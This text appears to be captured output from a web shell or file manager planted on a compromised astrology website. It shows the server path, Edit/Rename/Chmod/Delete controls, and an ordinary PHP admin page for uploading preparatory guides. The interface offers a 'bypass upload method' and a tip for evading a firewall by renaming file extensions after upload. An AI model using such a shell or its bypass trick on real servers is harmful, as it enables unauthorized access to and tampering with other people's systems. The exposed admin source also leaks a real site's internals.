Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
Submit
~
home
u273925517
domains
alpastrology.com
public_html
admin
File Content:
add_guide.php
<?php include("include/header.php"); include("include/conn.php"); $guide_id = isset($_GET['guide_edit']) ? intval($_GET['guide_edit']) : 0; $guide_data = null; // Fetch existing data for edit mode if ($guide_id > 0) { $stmt = $conn->prepare("SELECT * FROM `preparatory_guide` WHERE `guide_id` = ?"); $stmt->bind_param("i", $guide_id); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { $guide_data = $result->fetch_assoc(); } $stmt->close(); } if (isset($_POST['update_profile'])) { date_default_timezone_set('Asia/Kolkata'); $date_time = date('Y-m-d H:i:s'); $guide_title = htmlspecialchars($_POST['guide_title'], ENT_QUOTES, 'UTF-8'); $fileUploaded = !empty($_FILES['guide_file']['name']); $targetFilePaths = $guide_data['guide_file'] ?? ''; // Retain existing file path if ($fileUploaded) { $targetDir = "../upload/guide/"; $fileName = basename($_FILES['guide_file']['name']); $fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION)); // Allowed file types $allowedExtensions = ['pdf', 'doc', 'docx', 'jpg', 'png', 'jpeg']; if (!in_array($fileExtension, $allowedExtensions)) { echo "Invalid file type. Only PDF, DOC, DOCX, JPG, PNG, and JPEG are allowed."; exit; } if (!is_dir($targetDir) && !mkdir($targetDir, 0755, true)) { die("Failed to create directory for uploads."); } $uniqueFileName = uniqid() . '.' . $fileExtension; $targetFilePath = $targetDir . $uniqueFileName; if (move_uploaded_file($_FILES['guide_file']['tmp_name'], $targetFilePath)) { $targetFilePaths = str_replace('../', '', $targetFilePath); } else { echo "Error uploading the file."; exit; } } if ($guide_id > 0) { // Update existing guide $stmt = $conn->prepare("UPDATE `preparatory_guide` SET `guide_title` = ?, `guide_file` = ?, `created_dt` = ? WHERE `guide_id` = ?"); $stmt->bind_param("sssi", $guide_title, $targetFilePaths, $date_time, $guide_id); } else { // Insert new guide $stmt = $conn->prepare("INSERT INTO `preparatory_guide` (`guide_title`, `guide_file`, `created_dt`) VALUES (?, ?, ?)"); $stmt->bind_param("sss", $guide_title, $targetFilePaths, $date_time); } if ($stmt->execute()) { // Log admin activity if (isset($_SESSION['admin_id'])) { $admin_id = $_SESSION['admin_id']; $module = $guide_id > 0 ? 'Edit Preparatory Guide' : 'Add Preparatory Guide'; $activity = $guide_id > 0 ? 'Edited the Preparatory Guide' : 'Added a new Preparatory Guide'; $logStmt = $conn->prepare("INSERT INTO `logs` (`admin_id`, `module_name`, `activity`, `date_time`) VALUES (?, ?, ?, ?)"); $logStmt->bind_param("isss", $admin_id, $module, $activity, $date_time); $logStmt->execute(); $logStmt->close(); } echo "<script>alert('Data " . ($guide_id > 0 ? 'Updated' : 'Inserted') . " successfully!');</script>"; echo "<script>window.location.href ='preparatory_guide.php';</script>"; } else { echo "Error: " . $stmt->error; } $stmt->close(); } ?> <!-- MAIN PAGE CONTENT --> <div id="page-wrapper" style="min-height:142vh;"> <div class="page-content"> <div class="row"> <div class="col-lg-12"> <div class="page-title"> <div class="row"> <div class="col-md-3"> <h1><?= $guide_id > 0 ? 'Edit' : 'Add' ?> Preparatory Guide</h1> </div> <div class="col-md-1"> <a href="community.php" class="btn btn-primary">Back</a> </div> <div class="col-md-7"></div> </div> </div> </div> </div> <div class="row"> <div class="col-md-8"> <div class="panel panel-default"> <div class="panel-body"> <form action="" method="post" enctype="multipart/form-data"> <div class="row"> <div class="form-group col-md-6"> <label for="">Guide Title</label> <input type="text" name="guide_title" class="form-control" placeholder="Enter Guide Title" required value="<?= htmlspecialchars($guide_data['guide_title'] ?? '') ?>"> </div> <div class="form-group col-md-6"> <label for="">Guide File</label> <input type="file" name="guide_file" class="form-control"> <?php if (!empty($guide_data['guide_file'])): ?> <p>Current File: <a href="../<?= $guide_data['guide_file'] ?>" target="_blank">View File</a></p> <?php endif; ?> </div> </div> <div class="form-group"> <button class="btn btn-primary col-md-12" type="submit" name="update_profile" value="submit">Submit</button> </div> </form> </div> </div> </div> </div> </div> </div> <?php include("include/footer.php"); ?>
Edit
Rename
Chmod
Delete